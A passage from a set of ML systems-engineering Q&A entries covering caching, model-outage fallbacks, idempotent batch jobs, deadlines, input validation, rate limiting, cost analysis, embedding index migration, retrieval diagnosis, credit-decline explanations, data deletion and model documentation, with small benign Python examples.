        "input": req.prompt,
    }
    return hashlib.sha256(json.dumps(payload, sort_keys=True).encode()).hexdigest()

One subtlety: with temperature > 0 the same key legitimately maps to many outputs. Caching one of them changes the distribution you serve: fine if callers just want an answer, wrong if they are sampling for diversity. Cache deterministic decoding, or accept the collapse knowingly.

Alternatives, and when caching loses

ApproachWins whenCost
exact-match cacheidentical requests repeat: retries, batch re-runs, popular promptsstorage, invalidation logic
semantic (embedding) cacheparaphrases of the same questionfalse hits; needs a tuned similarity threshold
precompute / batchquery set is known offlinestaleness, storage
no cache, scale computeinputs are unique, freshness is tightlatency and $
distilled smaller modellatency-bound, quality drop tolerablequality

Caching is not worth it when hit rate is low and freshness is tight. If features refresh every 5 minutes and the answer must reflect a user action within seconds, TTL is seconds and hit rate collapses toward zero: you have paid for a cache and a correctness risk to save nothing. Measure hit rate on real traffic before building it.

Failure modes

  • Version-blind key. A cache keyed on user id alone served the previous model's scores for 40% of requests for six hours after a promotion; the canary measured the new model on the remaining 60% and reported no change. Detect by logging the model version on every hit and alerting if any pre-deploy version appears after a deploy.
  • TTL longer than feature freshness. Same shape, different cause. Alert on the age of the feature snapshot in served hits.
  • Thundering herd on invalidation. Every entry expires at once and compute spikes. Jitter TTLs, or invalidate by version bump so old entries age out.
  • Semantic false positives. Two different questions at cosine 0.95 return the wrong answer. Sample hits, re-run compute, and track the divergence rate.

Latency is the payoff: at p50 800 ms compute and 5 ms on a hit, a 30% hit rate takes p50 to 561 ms, 80% to 164 ms. That is the number to justify the cache with.

Curated: · Written: · Reviewed:

Q&A-41The model service is down. What should the product do?

What I'd say in the first minute

"Down" is three different failures: timeouts, 5xx from the service, or a service that answers but with degraded quality. Each needs a different response, so I'd say which one I'm designing for. Assuming hard unavailability, timeouts or 5xx, the product answer is: every use case declares its fallback before launch, and the fallback is chosen by reversibility and the cost of a wrong answer, not by what's easiest to code.

The default that causes damage is returning a plausible value. A fallback that returns 0.5 looks exactly like a prediction to every downstream caller, so the outage silently becomes a mass decision.

Choosing per use case

Two axes: can the decision be undone, and what does a wrong answer cost.

Use caseWrong answer costsReversibleFallback
Card fraud blockMoney already goneNoFail closed: hold the transaction, human review
Ranked feedA worse sessionYesServe previous model, or popularity ranking
Moderation pre-screenA bad post is briefly visibleYes, on appealRoute to human queue
Pricing quoteMargin on one orderYesRules-based price, no ML

Make the fallback a different type

The highest-value implementation rule: the fallback must not return the same type as a real prediction. If it returns a float, someone will threshold it. Checked against Python 3.12.

from dataclasses import dataclass
from enum import Enum

class ModelUnavailable(Exception): ...

class Outcome(Enum):
    SCORED = "scored"
    FALLBACK = "fallback"
    REFUSED = "refused"

@dataclass(frozen=True)
class Decision:
    outcome: Outcome
    score: float | None
    reason: str

def score(applicant, model, cache, timeout_s=0.25) -> Decision:
    try:
        r = model.predict(applicant, timeout=timeout_s)
        return Decision(Outcome.SCORED, r.score, "model")
    except (TimeoutError, ModelUnavailable) as e:
        cached = cache.get(applicant.id)
        if cached is not None:
            return Decision(Outcome.FALLBACK, cached.score, "stale_cache")
        return Decision(Outcome.REFUSED, None, f"no_fallback:{type(e).__name__}")

Trace: predict raises TimeoutError, cache.get misses, and the function returns Decision(Outcome.REFUSED, None, "no_fallback:TimeoutError"). The caller has to branch on outcome; there is no number sitting there to accidentally compare against a 0.6 threshold.

Failure modes and how you see them

  • Silent default. Detection: alert when fallback rate exceeds 0.5% over 5 minutes, plus a unit test asserting the fallback path returns score is None.
  • Stale-cache stampede. The TTL expires mid-outage, every request misses, and all of them hit the dead model. Detection: cache hit rate and fallback rate on one dashboard. The signature is hit rate collapsing as fallback rate spikes.
  • Retry storm. Clients retry three times without jitter, so a recovering service takes 3x load and never recovers. Detection: total request rate climbing while distinct-user rate stays flat.
  • Fallback never exercised. It rots. Run 1% of live traffic through it continuously, or kill the model in staging on a game day.

Worked example (hypothetical figures)

A lending model with an approval threshold of 0.6. During an outage the fallback returns a default 0.5.

PathRequestsApproved
Model availablenormal82%
Default 0.574,0000%

74,000 applications in two hours, none approved, against an 82% baseline, because the fallback was a one-line except: return 0.5 that nobody had reviewed.

What I'd measure

Fallback rate per use case, and the business outcome of fallback decisions versus model decisions. If fallback routes to human review, the metric is queue depth and time-to-decision, not model accuracy.

Curated: · Written: · Reviewed:

Q&A-42A batch scoring job is retried after a partial failure. What must hold?

What must hold

A retry must be indistinguishable from a single clean run: same rows, same values, same downstream state. Assume the job writes one score row per entity into a shared table that dashboards read continuously, and that the retry re-runs the whole job rather than resuming. Three properties get you there, and they are separable:

  1. Writes are keyed, not appended. The output row's identity is (entity_id, run_id), or (entity_id, model_version, scoring_date) if a later run should supersede an earlier one. A retry then upserts over its own rows instead of adding a second copy.
  2. The run is atomic per consumer. Either the whole run's output is visible or none of it. A run-scoped partition swapped in at the end, or a status column that readers filter on, both work. A bare INSERT loop does not.
  3. The job can tell what already completed. If it resumes rather than restarts, the checkpoint must be written after the data is durable, not before.

Why appending fails

Worked example, figures illustrative: 2.1M entities, the job dies at 60% after writing 1.26M rows, the retry runs from the top with append-only writes.

StateRows in table
Clean run2,100,000
After retry, append-only3,360,000
After retry, upsert on (entity_id, run_id)2,100,000

The 1.26M entities scored twice now contribute two rows each, so avg(score) is weighted toward them and every dashboard built on it is wrong. Worse, without a run_id column you cannot identify which rows are duplicates, and append-only pipelines are exactly the ones that tend not to have one.

The part people miss: determinism

Idempotent writes are necessary but not sufficient. If the scoring function is not deterministic, the retry produces different values for the same entity and the upsert silently overwrites good scores with different ones. Common sources: a model loaded from a latest pointer that moved between attempts, an unseeded RNG, features computed from wall-clock time (now(), days_since_signup), or a sampled sketch. Pin the model version and the feature snapshot in the run record and pass the seed explicitly.

Verification

Run the job twice on the same input in staging and compare: count(*) equals count(distinct entity_id), and a checksum over (entity_id, score) is identical between runs. Then kill the job mid-run, retry, and assert the same. That second test is the one that catches a checkpoint written before the data lands.

Failure modes and how to detect them

  • Duplicate rows: count(*) > count(distinct entity_id) for the run. Alert on it directly.
  • Partial visibility: readers see half a run. Detect via a run-status table; readers filter status = 'complete'.
  • Non-deterministic scores: same entity, different score across runs. Store the score from run N and compare a sample on run N+1.
  • Checkpoint ahead of data: the job resumes past rows it never wrote. Reconcile the checkpoint offset against max(entity_id) actually present.

Curated: · Written: · Reviewed:

Q&A-78A nightly scoring job must finish by 6 a.m. How do you hold that?

What I'd say first

Assume the input is partitionable by entity and the writes can be made idempotent. Then the 6 a.m. deadline is an SLO on completion time, and I hold it with three things: a projection metric that fires before the miss, a partition count that scales with volume, and a defined degraded mode for the night it will miss.

Projection, not breach

Airflow's task-level sla and sla_miss_callback fire after the task passes its SLA: too late for a hard 6 a.m. deadline. Instead emit done_units and total_units per run and compute projected finish:

# Python 3.12
from datetime import datetime, timedelta

def projected_finish(started, now, done_units, total_units):
    elapsed = (now - started).total_seconds()
    progress = done_units / total_units
    if progress <= 0:
        return None
    return started + timedelta(seconds=elapsed / progress)

Trace: started 01:00, now 03:00 (elapsed 7200 s), 30 of 100 shards done. progress = 0.30, projected total = 7200 / 0.30 = 24,000 s = 6 h 40 m, finish 07:40. With a 30-minute buffer the page threshold is 05:30, so this pages at 03:00. Three hours before the miss, while there is still time to add workers or shed load.

Partitioning

Runtime scales as rows / (workers × rows-per-second). At 2,000 rows/s per worker and 400M rows, one worker needs 200,000 s ≈ 55 h; 64 workers bring it to ~52 min, plus ~15 min export. Shards are independent, so the partition count is the knob: Spark spark.sql.shuffle.partitions (default 200) or an explicit shard list, with spark.dynamicAllocation.maxExecutors capping spend.

The night it will miss

At 03:00 the projection says 07:40. I do not wait. I score the priority slice first (entities with activity in the last 24 h, or the segment the campaign needs) and emit it by 06:00 with a complete=false flag and a row count. The remaining shards run after 06:00 as a backfill. Re-running is safe because writes are upserts keyed by (scoring_date, entity_id, model_version): a re-run overwrites, it does not duplicate. Per-shard checkpoints to object storage mean a retry redoes one shard, not the job.

Trade-offs

MoveWins whenCost / risk
Start earlierupstream data lands before 01:00shifts contention; may not be possible
Add workers (spot)CPU-bound, shards independentspot reclaim mid-run → needs checkpointing
Incremental scoringmost entities unchanged night to nightneeds change detection; periodic full run
Priority slice + backfilldeadline hard, partial output usabledownstream must honor the completeness flag

Failure modes

  • Skew: one shard holds 40% of rows (a whale tenant). Detect via per-shard done_units; fix by splitting on a finer key.
  • Spot reclaim: a node dies at 04:00; without per-shard checkpoints you restart from zero.
  • Upstream late: the source table is not ready at 01:00. startingDeadlineSeconds on the CronJob does not help; alert on upstream freshness separately.

A deadline is missed by a trend, not an event, so the alert is on the projection, and the fallback is a partial result with a flag, not a silent 07:40 finish.

Curated: · Written: · Reviewed:

Q&A-98A caller sends a field the model has never seen. What should the endpoint do?

Core answer

"A field the model has never seen" is two different bugs, and the endpoint should treat them differently.

  1. A key that isn't in the request schema at all: the caller added region, or misspelled category.
  2. A known key carrying a value outside the vocabulary or range the model was trained on: category: "toys" when the encoder only knows electronics, grocery and apparel.

For (1), reject with 4xx. Unknown keys are almost always client bugs or a client that shipped ahead of the server; accepting them means the field is silently dropped while the caller believes it took effect.

For (2), reject as well, unless the field is genuinely open-vocabulary. The encoder's fallback path is the danger: an unknown category maps to index 0 or a hash bucket, the model returns a confident number, and nothing in the response says the input was out of distribution.

So: fail closed at the boundary, with a machine-readable error naming the offending field and value.

Why the fallback is the failure

An unknown category mapped to index 0 is indistinguishable from the real category that also sits at index 0. The prediction is then a valid-looking score computed from the wrong feature vector. Nothing downstream can catch it: the response schema is identical, latency is identical, and the model's confidence is not calibrated to announce that it has never seen this input.

Code (Pydantic v2 / FastAPI)

from typing import Literal
from pydantic import BaseModel, ConfigDict, Field

class ScoreRequest(BaseModel):
    model_config = ConfigDict(extra="forbid")   # unknown keys -> 422
    category: Literal["electronics", "grocery", "apparel"]
    amount: float = Field(ge=0, le=100_000)

{"category": "toys", "amount": 10} returns 422 with literal_error on category. {"category": "grocery", "amount": 10, "region": "eu"} returns 422 with extra_forbidden on region.

In production the Literal is generated from the frozen vocabulary artifact written at training time, and the serving process loads that same artifact, so the accepted set cannot drift from the trained set.

Decision table

CaseExampleEndpointWhy
Unknown keyregion422Silently dropped otherwise
Unknown value, closed vocabularycategory: "toys"422Encoder fallback scores garbage
Unknown value, open vocabularyFree-text query, user idAccept, hash or embed, monitor rateNo closed set exists to check against

When not to reject

Open-vocabulary fields (free text, IDs, timestamps) have no closed set, so rejection is impossible. There the correct move is an explicit, monitored unknown path: hash the value into a bucket, tag the response or emit a feature-coverage metric, and alert when a caller's unknown rate crosses a threshold. The difference from the bug is that the fallback is deliberate, visible and measured.

Strict rejection also breaks forward compatibility. If clients add fields before the server knows them, version the endpoint or allow a documented passthrough set: don't quietly accept everything.

Failure modes and detection

  • Silent unknown bucket: one caller's category string mapped to the unknown bucket, and 22% of that caller's 340k requests (74,800) scored on a default for five weeks. Only a per-caller unknown-value rate surfaces this; the aggregate error rate stays flat.
  • Train/serve skew: the serving vocabulary is rebuilt from a newer data pull than the model's. Detect by hashing the vocabulary artifact and asserting it matches the hash recorded in the model's metadata at load time.
  • Over-strict validation: a legitimate client rollout starts failing 100% of requests. Detect with a rejection-rate alert per caller, correlated with deploys.

Verification

In CI, send one request with an unknown key and one with an unknown category value; assert both return 422 naming the field, and assert no prediction is logged. Then assert a valid request still returns 200: that is the check that catches a validator which rejects everything.

Curated: · Written: · Reviewed:

Q&A-94Your provider rate-limits you at peak. What is the design answer?

Assume the limit is a per-org token bucket over requests and tokens per minute, and that the only signal you get is a 429: the provider does not queue for you. The design answer is admission control inside your own service: a client-side bucket sized below the provider's limit, priority classes, a bounded queue with per-request deadlines, and a retry budget. Retry logic at the provider boundary is the last resort, not the design.

A quota is a hard cap enforced by dropping, so the failure arrives as an error rate rather than as growing latency. That inverts the usual feedback loop: there is no queue-depth signal to react to, and by the time 429s appear you are already over. You have to hold the queue yourself, where depth and wait time are visible, and decide per request whether waiting is acceptable.

The decision is per request class, not per system:

StrategyChoose whenFails when
Queue with deadlinethe caller tolerates seconds of wait and the request is resumable: batch jobs, async pipelinesqueue depth is unbounded, so p99 wait exceeds the caller's timeout and you paid for the work anyway
Shedthe request is interactive, cheap to redo, or a duplicateyou shed work that already burned 30 s of tokens mid-trajectory
Degradeoutput quality is negotiable: shorter context, smaller model, cached answerthe caller cannot tell quality dropped, so a silent regression ships
Retry with budget429/503 on an idempotent call, and you honour Retry-Afterretries exceed the budget and amplify offered load

The case where you do not shed is the expensive one: a long agent trajectory that has already spent tokens and cannot be restarted cheaply. Queue it with a deadline and let it expire rather than dropping it at the door.

import heapq, time

class Gate:
    def __init__(self, rpm, burst=None):
        self.rate = rpm / 60.0
        self.capacity = burst if burst is not None else rpm
        self.tokens = float(self.capacity)
        self.last = time.monotonic()
        self.q = []          # (priority, seq, deadline, req); lower priority wins
        self.seq = 0

    def _refill(self):
        now = time.monotonic()
        self.tokens = min(self.capacity, self.tokens + (now - self.last) * self.rate)
        self.last = now

    def submit(self, req, priority=0, deadline_s=10.0):
        self._refill()
        if self.tokens >= 1 and not self.q:   # never bypass a waiting queue
            self.tokens -= 1
            return "admit"
        if deadline_s <= 0:
            return "shed"
        self.seq += 1
        heapq.heappush(self.q, (priority, self.seq, time.monotonic() + deadline_s, req))
        return "queued"

    def drain(self):
        self._refill()
        out = []
        while self.q:
            priority, seq, deadline, req = self.q[0]
            if deadline < time.monotonic():
                heapq.heappop(self.q)
                out.append(("expired", req))
                continue
            if self.tokens < 1:
                break
            heapq.heappop(self.q)
            self.tokens -= 1
            out.append(("admit", req))
        return out

Trace it at rpm=60: rate is 1 token/s, capacity 60, so the first 60 submit calls return "admit" and leave the bucket at 0. The 61st returns "queued" with a 10 s deadline. drain() called immediately returns []: the head is not expired and there is no token. One second later the refill yields exactly 1 token and drain() returns [("admit", req)]. A queued request whose deadline passes is popped as "expired" and shed instead of sent.

Numbers from a load test worth running before trusting any of this (illustrative): provider limit 600 RPM, peak demand 1,800 RPM. Client bucket at 540 RPM, queue depth 200, deadline 10 s. At peak the gate admits 540/min, queues about 200, sheds the remainder, roughly 12% shed rate, and queue wait p99 stays under 6 s. Without the gate, uniform retry on 429 pushed offered load to about 3x and the limit held for 40 minutes instead of the 4 the original burst would have lasted.

Failure modes worth designing against:

  • Head-of-line blocking. One FIFO queue lets a 5,000-item batch job starve interactive calls. Priority fixes that but starves batch in turn; give batch a reserved share of the bucket or age its priority upward as it waits.
  • Per-replica buckets overshoot. If the provider limit is per org and you run 8 replicas each with a 90%-of-limit bucket, you can offer 7.2x the limit. Either divide the budget across replicas or move the bucket to a shared store (Redis with a Lua token-bucket script) and pay the round trip.
  • Concurrency, not just RPM. A streaming call holds a slot for the whole generation. 20 concurrent slots at 30 s per stream caps you at 0.67 req/s regardless of what the RPM limit says. Limit in-flight requests separately from request rate.
  • Ignoring Retry-After. A 429 usually carries a retry delay; retrying on your own backoff schedule instead of the provider's is how a 4-minute burst becomes a 40-minute incident.

Monitor 429 rate per key, queue wait p99, shed rate by priority class, and headroom (tokens/min used against the limit). Alert on shed rate, not on 429s: by the time 429s show up, the gate has already failed.

Curated: · Written: · Reviewed:

Q&A-49What does one prediction from this model cost?

The short answer

Cost per prediction is a division: the price of the hardware for an hour divided by how many predictions that hardware completes in the hour, plus any fixed cost you cannot amortise away.

Worked example, illustrative figures: one A10G at $1.00/hr serving a 7B model in fp16. At batch 1 the endpoint sustains about 20 predictions/s, so 72,000/hour, and $1.00 / 72,000 = $0.0000139 per prediction, roughly $0.014 per thousand. Raise the batch to 32 and throughput goes to about 300 predictions/s, 1.08M/hour, and the same GPU now costs $0.00000093 per prediction, about $0.00093 per thousand. The model did not change. The denominator did.

Why the denominator moves

Throughput is set by batch size, sequence length, precision and the GPU. Batching is the biggest single lever because a GPU sits idle between kernels at batch 1; filling the batch amortises the same weights and the same kernel launches across more tokens. Quantising to int8 roughly halves memory traffic and typically buys 1.5-2x throughput. A smaller GPU costs less per hour but may not fit the weights or the KV cache at your context length.

Fixed costs sit on top: model load and cold start, a reserved-capacity floor you pay whether or not traffic arrives, and the idle replica you keep for failover. Divide those by the same monthly prediction count.

Levers, and what each costs you

LeverEffect on cost/predictionWhat it costs
Larger batch10-20x lowerQueueing latency; p99 rises
int8 quantisation~1.5-2x lowerSmall quality risk, needs eval
Spot / preemptible60-70% lowerPreemption, retry logic
Smaller GPULower $/hrLower throughput, may not fit

Failure modes

A per-prediction figure is only meaningful at a stated utilisation and batch size. Measure it on an endpoint running at 6% utilisation and you are mostly measuring idle time; the number falls the moment traffic rises, which makes it useless for planning. The detection is to publish cost per thousand predictions alongside utilisation, batch size and p99 latency, and to treat a figure that moves more than the traffic does as a measurement error, not a saving.

When not to optimise this

If the workload is interactive and latency-bound, batching to 32 will blow your p99 and the cheaper prediction is not worth it. If traffic is spiky, the reserved floor dominates and the right move is consolidation or scale-to-zero, not a bigger batch.

Curated: · Written: · Reviewed:

Q&A-95The ML bill doubled. How do you find out why?

The 90-second answer. Split the increase into rate × quantity before touching anything else. A doubled bill is either more units at the same price, the same units at a higher price, or both, and each points at a different owner. Then find when the step happened: a step change on a specific day is a deploy or a config change, while a smooth ramp is organic growth or a backfill. Then attribute the delta to resource IDs, and only then to teams.

Assumptions: one cloud provider, billing export enabled (AWS Cost and Usage Report, GCP BigQuery billing export, Azure Cost Management export), and at least daily granularity. If the export isn't on, that's the first fix: the Cost Explorer UI won't let you group by resource ID at the granularity you need.

Step 1: decompose. Pull two months of daily cost grouped by service and usage type. Compute the delta and split it:

ComponentBaselineNowDelta
GPU instance-hours20,00034,000+14,000
Effective $/GPU-hr$1.60$1.90+$0.30
Compute cost$32,000$64,600+$32,600

Volume effect = 14,000 × $1.60 = $22,400. Rate effect = 34,000 × $0.30 = $10,200. They sum to $32,600, the whole increase. So ~69% of the problem is "we ran more" and ~31% is "we paid more per hour": two different conversations with two different owners.

Step 2: locate the step. Plot daily cost per usage type. A vertical jump on one date → correlate with deploys, autoscaling policy changes, or a spot→on-demand fallback. A slope change → correlate with traffic or a backfill job. Rate changes usually show as a flat line that shifts up; volume changes show as a slope change.

Step 3: attribute to resources. Group by resource ID (lineItem/ResourceId in CUR) for the top 20 line items. You don't need tags to find the culprit: resource IDs and instance types identify the workload, and you map that back to a team afterward.

Step 4: check utilization. For GPU spend, pull utilization (DCGM, nvidia-smi, CloudWatch GPUUtilization). Idle-but-allocated GPUs are the most common cause of a step change: a cluster that scaled up and never scaled down, or a training job that finished but left nodes running.

Trade-offs. Provider cost tools (Cost Explorer, BigQuery export) are fast to start and lag by up to 24h; a self-built pipeline over CUR gives per-resource granularity and joins to your own metadata but costs engineering time. Per-model unit economics (cost per 1k tokens, cost per training run) is the right long-term view but useless for a two-day investigation, because it needs the same attribution work first.

Failure modes. Untagged or shared resources hide the owner: report untagged spend as a defect, not a rounding error. Autoscaling with a long cooldown or a min-size floor keeps paying for idle capacity. Retry storms and cache-miss regressions raise volume with no deploy that looks like a cost change. Spot interruption silently moves work to on-demand, which for GPU instances typically costs 2–3× the spot rate.

Detection. Daily anomaly alert on cost per service, plus a budget alert at the team level. Then the next doubling is a page, not a three-week archaeology project.

Curated: · Written: · Reviewed:

Q&A-79A cheap model filters and an expensive one decides. What is the risk?

I would settle model cascades and chained models against a replay of real requests before trusting the offline number.

A cascade's overall quality is bounded by the first stage's recall, because anything the filter drops is never seen by the model that could have caught it. The cheap stage sets the ceiling.

Concretely, measure end-to-end rather than per stage, tune the filter for recall rather than precision, sample a share of filtered items through the full path to estimate what is being lost, and monitor that estimate.

The reason for that specificity is a failure I have seen: A filter with 0.94 precision and 0.72 recall capped the system at 0.72 recall; per-stage dashboards showed both models performing well and the loss was invisible for a year.

Stages against the whole.

MeasureValue
filter recall0.72
decider recall on what it sees0.95
end to end0.68

I would not consider it settled without evidence: Route a random sample past the filter and measure what the full model would have decided.

The first stage sets the ceiling.

Curated: · Written: · Reviewed:

Q&A-77You change the embedding model. What happens to the index?

First 90 seconds

Pin down which change it is: a new model, or a new version of the same one. The mechanics differ, the conclusion doesn't. Two encoders put the same document in unrelated places, so cosine similarity between a v1 query vector and a v2 document vector is a number with no meaning. Nothing errors: you just get wrong neighbours. The index is invalidated in full; the real question is how you swap it without serving garbage.

My default is blue/green: re-embed the corpus offline into a new index, keep the old one serving, cut over at the query router once the new index passes an eval. It costs a second copy of the index and a full re-embed, and it's the only plan with a clean rollback.

The alternatives, and when each breaks

PlanMechanismCostFailure
Blue/green rebuildoffline re-embed into a new index, atomic swap at the router2× index storage, full re-embed billcorpus too large to re-embed inside your change window
Dual-write + backfillwrite both vectors on ingest, backfill old docs in batches, flip reads2× write cost, 2× storage during transitionany query path that fans out to both spaces
In-place overwritere-embed into the existing indexcheapest storageno rollback; a partial run leaves a permanently mixed index
Lazy re-embed on readembed the query with the new model, re-embed docs as they're fetchedno bulk jobdoesn't work: ANN search needs the whole corpus in one space

Dual-write is fine when you can guarantee read routing to exactly one space. The trap is a query path that hits both.

Failure mode and detection

I've seen an upgrade re-embed only newly ingested documents. Queries hit a mixed index, recall@10 fell from 0.88 to 0.34, and nothing raised an error: latency flat, error rate flat, results quietly wrong. Detection is a labeled eval set (query → known-relevant doc IDs) run as a canary against the new index before cutover, plus a hard assertion that the query's encoder version matches the index's stamped version:

# Python 3.12
INDEX_ENCODER = "text-embedding-3-large"

def search(query: str, k: int = 10):
    qvec = embed(query, model=INDEX_ENCODER)
    if qvec.model != INDEX_ENCODER:
        raise EncoderMismatch(f"query {qvec.model} vs index {INDEX_ENCODER}")
    return index.search(qvec, k)

What the rebuild actually costs

Example figures: 20M chunks averaging 400 tokens is 8B tokens. At OpenAI's list price of $0.13 per 1M tokens for text-embedding-3-large, that's roughly $1,040 per full re-embed, before GPU time if you self-host. If your corpus re-embeds in minutes, blue/green is cheap and there's no reason to consider anything else.

When a full rebuild is not worth it

Two cases. If the corpus is small enough to re-embed inside a deploy, just do it. And if you're only shortening dimensions within the same model: text-embedding-3's dimensions parameter returns a prefix of the full vector, so it's the same space and you can truncate in place. Anything that changes the encoder weights is a new space, and the index has to be rebuilt. Same for the ANN structures: HNSW graphs and PQ codebooks are trained on the old vectors and are meaningless against new ones.

Curated: · Written: · Reviewed:

Q&A-65An answer is wrong. Was it the retriever or the model?

You cannot tell from the final answer alone. The retriever and the model fail in different ways, and the only reliable way to separate them is to log what was retrieved and evaluate retrieval independently of generation. Assume you have a labelled set of queries with gold passages and a way to score answers. If you do not, build that first; without it you are guessing.

The first diagnostic is recall@k against gold passages. If recall is low, the retriever is the prime suspect. If recall is high and answers are still wrong, the model is. That split is necessary but not sufficient. Recall treats documents as independent and does not measure whether the retrieved context is usable. A retriever can return the right document but with chunk boundaries that cut the answer in half, or return a contradictory passage that misleads the model. So you need a second test: context sufficiency. Have a judge, human or a strong model, label whether the retrieved context contains enough information to answer the question. If it does not, the retriever is at fault even if recall@k looks fine.

The strongest causal test is a component swap. Replace the retriever with an oracle that returns the gold passages. If the model then answers correctly, the retriever was the problem. If it still fails, the model is. This is more work than a metric, but it is the only way to rule out interaction effects. A cheaper alternative is LLM-as-judge: use a strong model to grade answers against gold. It scales, but it has known biases, it prefers longer answers and its own phrasing, so calibrate it against human labels on a sample before trusting it.

When is recall gating not enough? When the answer requires synthesizing multiple documents, recall@k can be 1.0 while the model fails to combine them. When the prompt format or context length causes the model to ignore a retrieved passage, recall is high but the answer is wrong. And when the retriever returns a passage that is relevant but not sufficient, recall counts it as a hit. So gate index changes on recall, but also track answer correctness conditioned on retrieval and context sufficiency.

Consider a concrete failure mode. An index rebuild drops a document set. Recall falls from 0.88 to 0.51, and end-to-end quality falls from 0.82 to 0.63. The team blames a model change for three weeks because no one logged retrieval. The table below shows how the two metrics separate the failure.

PeriodRecall@10Answer accuracyLikely cause
Before rebuild0.880.82baseline
After rebuild0.510.63retriever regression
After oracle swap0.88 (oracle)0.81model is fine

Those numbers are illustrative. The point is that you need both metrics on the same schedule. Log retrieved document IDs and scores with every response. Measure recall against a labelled set. When recall drops, check the index. When recall is stable but answers degrade, check the model, the prompt, and the context window. Do not wait for a delayed label to tell you which surface broke.

Curated: · Written: · Reviewed:

Q&A-60A customer asks why the model declined them. What can you provide?

What you hand the customer

Three deliverables, in this order:

  1. The principal reasons for the decline, ranked and in plain language ("two delinquencies in the last 24 months", "debt-to-income above our threshold") not "your score was 460".
  2. A written notice stating those reasons, the action taken, and how to ask for reconsideration.
  3. A route to a human: a review queue where an analyst re-examines the file. For EU applicants, GDPR Art. 22(3) gives them the right to obtain human intervention, express their point of view, and contest the decision.

In the US this is not a design choice. ECOA/Regulation B requires an adverse action notice with a statement of specific reasons, generally within 30 days of a completed application, and CFPB Circular 2023-03 (May 2023) states that a creditor using a complex algorithm still owes specific, accurate reasons: "the model said so" is not one. So the real question is which explanation technique produces reasons that survive a complaint.

Choosing the technique

TechniqueWhat the customer seesCost per decisionRight whenFailure mode
Scorecard / rule reason codesRanked point contributionsMicroseconds, no extra infraModel is a scorecard, GAM, or monotone tree ensembleModel is a deep net; codes don't reflect it
Feature attributions (SHAP, TreeSHAP)Top-k features with directionTreeSHAP is exact and fast for trees; KernelSHAP is sampling-based and its cost grows with feature countTree or NN model, need per-feature creditCorrelated features split the credit; neither ranks top
Counterfactual (Wachter et al. 2017; DiCE)"Approval would have needed DTI ≤ 0.41"One optimisation per request, tens of msCustomer wants to know what to changeSuggests immutable features: age, region
Human reviewAn analyst's written rationaleMinutes of analyst timeHigh-stakes, contested, or appealed decisionsDoesn't scale; drifts without a rubric

Most production stacks ship reason codes for the notice and keep SHAP behind the analyst tooling that supports human review.

Worked example (hypothetical scorecard)

Base 620 points, cutoff 560. This applicant scores 460.

FeatureValueContribution
Delinquencies, 24 mo2−60
Tenure8 mo−40
DTI0.52−35
Utilization0.86−25

620 − 60 − 40 − 35 − 25 = 460, a 100-point gap. Ranked by absolute contribution, the notice reads: delinquencies, tenure, DTI, utilization. Four reasons, each traceable to a number the customer can be shown.

The failure mode that matters

Attributions computed against current data rather than the logged feature vector. Two requests about the same decision then return different top reasons, and that discrepancy is what reaches a complaint. The fix is mechanical: compute the explanation from the same logged vector and model version that produced the decision, then recompute twice and require the top three reasons to be identical. If they aren't, the explanation isn't defensible: fall back to the scorecard's reason codes, which are deterministic by construction.

An unstable explanation is worse than none, because it is a written record that contradicts itself.

Curated: · Written: · Reviewed:

Q&A-56A user asks for deletion. What happens to the models trained on their data?

The 90-second answer. Before answering, I'd pin down three things: which regime applies (GDPR Article 17, CCPA §1798.105, or a contract term), what "their data" covers (raw records, derived features, or inferences baked into the weights) and whether the model is deployed or still a checkpoint. Then the honest answer: raw data, features, logs and snapshots get deleted exactly, because they're addressable by row or key. The trained weights are the only artifact where "delete" isn't a row operation, and you have four real options there, not one. Which one you pick is a cost-and-risk decision you should be able to defend in writing.

What actually gets deleted, and how.

StoreMechanismTypical window
Warehouse (Snowflake/BigQuery)DELETE + time-travel expiry7–30 days
Feature store (Feast/Tecton)online + offline deleteimmediate
Prediction logsrow delete; backups lag30–90 days
Training snapshots (Iceberg/Delta)DELETE then expire_snapshots / VACUUMIceberg default snapshot retention 5 days; Delta VACUUM default 7 days
Model registry (MLflow)version deleteimmediate
Weightsno row operation—

The four options for the weights.

OptionCostWhen it's the right call
Full retrainIllustrative: a 7B model on 300B tokens is 6ND ≈ 1.26e22 FLOPs; 64 H100s at ~400 TFLOP/s effective ≈ 5.7 days, ~$26k at $3/GPU-hrHigh-risk request, the user's data is a meaningful slice of the corpus, or a regulator is watching
Sharded retrain (SISA, Bourtoule et al. 2021)Retrain only the shard holding the user; cost drops roughly with shard countYou can afford the sharded architecture up front
Approximate unlearning (gradient ascent on the forget set, influence-function updates)Minutes to hoursLow-stakes requests where you can document residual risk
Argue the weights aren't personal dataDocumentation costOnly with evidence: EDPB Opinion 28/2024 says a model can be anonymous if extraction isn't possible and identification isn't reasonably likely, but you must document that test, and it doesn't cover memorised training data

Differentially private training is a fifth lever, but it's a from-scratch decision with a utility cost, not a deletion response.

Trace one request. Take user U: warehouse row → feature store entity → snapshot S3 (the one whose manifest lists U) → the weights trained from S3. Confirm each hop is covered, and record which snapshot IDs contain each entity ID so the affected artifacts are queryable rather than guessed.

The failure mode I've seen. A deletion request was honoured in the warehouse only; the feature store, three training snapshots and the prediction log kept the records, and an audit surfaced the gap 10 months later. Detection is a per-entity lineage index plus a quarterly reconciliation that replays a sample of past deletion requests against every store and snapshot.

What I'd say. Deletion is a pipeline with a documented end state per artifact. For the weights, name the option you chose, its cost, and the residual risk you're accepting.

Curated: · Written: · Reviewed:

Q&A-58What belongs in a model's documentation?

The 90-second answer

A model's documentation exists to answer one question for someone who did not build it: is my use one this model was evaluated for? Every field either supports that answer or is noise.

FieldWhy it's thereWho writes it
Intended use / out-of-scope usesthe decision the reader is makingowner, by hand
Training population and provenancewhether your inputs are in distributiongenerated from the data manifest
Metrics, overall and per slicethe number that gets quoted, plus the ones that qualify itgenerated from the eval run
Known limitations and failure modeswhat the eval did not coverowner, by hand
Version, lineage, base modelwhich artifact this describesgenerated from the registry
Owner, license, contactwho to ask, what you may doregistry

Architecture belongs in the training report or the registry record, not here. A reader who wants layer counts is not the reader this document serves.

Alternatives, and when each breaks

Two established formats: model cards for a trained model, datasheets for datasets for the data underneath. They overlap; if you ship both, keep population and provenance in the datasheet and reference it, or the two will disagree within a quarter. System cards are the third option when the unit of deployment is a product surface with several models behind it: the card then describes the surface and per-model detail moves to an appendix.

